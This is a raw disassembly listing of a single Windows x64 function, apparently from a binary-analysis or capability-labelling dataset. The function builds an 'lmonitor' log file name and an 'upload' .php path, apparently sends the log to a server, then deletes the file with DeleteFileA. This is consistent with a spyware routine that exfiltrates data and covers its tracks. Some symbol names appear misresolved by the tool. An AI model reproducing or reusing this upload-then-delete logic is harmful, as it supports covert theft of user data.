Function at 0x40a8a0
Capabilities:
Delete file

Disassembly:
mov rax, rsp
sub rsp, 0x298
mov qword [rsp + 0xc0], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov r12, rdx
xor eax, eax
mov byte [rsp + 0x34], al
lea rdx, [rsp + 0x58]
call fcn.00409af0
nop
lea r8, [rsp + 0x34]
mov rdx, qword [rax]
lea rcx, [rsp + 0xe8]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const____ptr64__class_std::allocator_unsigned_short_int__const____ptr64____ptr64]
nop
xor eax, eax
mov byte [rsp + 0x32], al
xor r8d, r8d
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x148]
call fcn.0041f440
mov rbx, rax
lea r8, [rsp + 0x32]
lea rdx, str.Shash:
lea rcx, [rsp + 0x1c8]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const____ptr64__class_std::allocator_char__const____ptr64____ptr64]
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xc8]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_
nop
lea rcx, [rsp + 0x1c8]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x148]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0xe8]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x58]
call sub.MFC42u.dll_CDocObjectServer::XOleDocument::AddRef
mov rbx, qword [0x005e43d0]
test rbx, rbx
je 0x40a98e
mov edi, 1
jmp 0x40aa17
mov ecx, gethostbyname
call sub.MFC42u.dll_CMonthCalCtrl::SetDayState
mov qword [rsp + 0x38], rax
test rax, rax
je 0x40a9af
mov rcx, rax
call fcn.00417590
mov rbx, rax
jmp 0x40a9b1
xor ebx, ebx
test rbx, rbx
setne sil
mov byte [rsp + 0x38], sil
mov qword [rsp + 0x40], rbx
mov rcx, qword [0x005e43d0]
cmp rcx, rbx
je 0x40a9f8
cmp byte [0x005e43c8], 0
je 0x40a9ea
test rcx, rcx
je 0x40a9ea
mov rax, qword [rcx]
mov edi, 1
mov edx, edi
call qword [rax]
jmp 0x40a9ef
mov edi, 1
mov byte [0x005e43c8], sil
jmp 0x40aa10
movzx eax, byte [0x005e43c8]
mov edi, 1
test sil, sil
cmovne eax, edi
mov byte [0x005e43c8], al
mov qword [0x005e43d0], rbx
lea rcx, [rsp + 0xc8]
call qword [sym.imp.msvcp60.dll_public:_char_const____ptr64___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const___ptr64]
mov rdx, rax
mov rcx, rbx
call fcn.00417980
nop
mov rbx, qword [0x005e43d0]
test rbx, rbx
jne 0x40aab3
lea ecx, [rbx + 0x30]
call sub.MFC42u.dll_CMonthCalCtrl::SetDayState
mov qword [rsp + 0x38], rax
test rax, rax
je 0x40aa5c
mov rcx, rax
call fcn.00417590
mov rbx, rax
jmp 0x40aa5e
xor ebx, ebx
test rbx, rbx
setne sil
mov byte [rsp + 0x38], sil
mov qword [rsp + 0x40], rbx
mov rcx, qword [0x005e43d0]
cmp rcx, rbx
je 0x40aa99
cmp byte [0x005e43c8], 0
je 0x40aa90
test rcx, rcx
je 0x40aa90
mov rax, qword [rcx]
mov edx, edi
call qword [rax]
mov byte [0x005e43c8], sil
jmp 0x40aaac
movzx eax, byte [0x005e43c8]
test sil, sil
cmovne eax, edi
mov byte [0x005e43c8], al
mov qword [0x005e43d0], rbx
lea rdx, [rsp + 0x80]
mov rcx, rbx
call fcn.00417f40
nop
xor eax, eax
mov byte [rsp + 0x30], al
lea r8, [rsp + 0x30]
lea rdx, str.lmonitor
lea rcx, [rsp + 0x208]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const____ptr64__class_std::allocator_char__const____ptr64____ptr64]
nop
lea r8, str..log
mov rdx, rax
lea rcx, [rsp + 0x188]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_
mov rbx, rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x248]
call fcn.0041d910
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.0041d7f0
nop
lea rcx, [rsp + 0x248]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x188]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x208]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
xor r8d, r8d
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x128]
call fcn.0041d2d0
mov rbx, rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x108]
call fcn.0041d2d0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xa0]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_
nop
lea rcx, [rsp + 0x108]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x128]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
cmp qword [rsp + 0xb0], 0
jne 0x40abfc
lea rcx, [rsp + 0xa0]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x80]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0xc8]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
jmp 0x40adce
xor eax, eax
mov byte [rsp + 0x31], al
lea r8, [rsp + 0x31]
lea rdx, [0x00557880]
lea rcx, [rsp + 0x38]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const____ptr64__class_std::allocator_char__const____ptr64____ptr64]
nop
xor eax, eax
mov byte [rsp + 0x33], al
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x268]
call fcn.004202a0
mov rbx, rax
call fcn.00430f50
lea r8, [rsp + 0x33]
mov rdx, rax
lea rcx, [rsp + 0x228]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const____ptr64__class_std::allocator_char__const____ptr64____ptr64]
nop
lea r8, str.upload
mov rdx, rax
lea rcx, [rsp + 0x1e8]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_
nop
lea r8, str..php
mov rdx, rax
lea rcx, [rsp + 0x1a8]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_
nop
mov qword [rsp + 0x20], rbx
mov r9, r12
lea r8, [rsp + 0x38]
mov rdx, rax
lea rcx, [rsp + 0x168]
call fcn.0041a9f0
lea rcx, [rsp + 0x168]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x1a8]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x1e8]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x228]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x268]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x38]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
mov rbx, qword [0x005e43d0]
test rbx, rbx
jne 0x40ad79
lea ecx, [rbx + 0x30]
call sub.MFC42u.dll_CMonthCalCtrl::SetDayState
mov qword [rsp + 0x38], rax
test rax, rax
je 0x40ad22
mov rcx, rax
call fcn.00417590
mov rbx, rax
jmp 0x40ad24
xor ebx, ebx
test rbx, rbx
setne sil
mov byte [rsp + 0x38], sil
mov qword [rsp + 0x40], rbx
mov rcx, qword [0x005e43d0]
cmp rcx, rbx
je 0x40ad5f
cmp byte [0x005e43c8], 0
je 0x40ad56
test rcx, rcx
je 0x40ad56
mov rax, qword [rcx]
mov edx, edi
call qword [rax]
mov byte [0x005e43c8], sil
jmp 0x40ad72
movzx eax, byte [0x005e43c8]
test sil, sil
cmovne eax, edi
mov byte [0x005e43c8], al
mov qword [0x005e43d0], rbx
mov rcx, rbx
call fcn.00417f70
lea rcx, [rsp + 0x60]
call qword [sym.imp.msvcp60.dll_public:_char_const____ptr64___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const___ptr64]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
lea rcx, [rsp + 0xa0]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x80]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0xc8]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
mov rbx, qword [rsp + 0x2a0]
mov rsi, qword [rsp + reloc.SHELL32.dll_IsUserAnAdmin]
mov rdi, qword [rsp + 0x2b0]
mov r12, qword [rsp + 0x2b8]
add rsp, 0x298
ret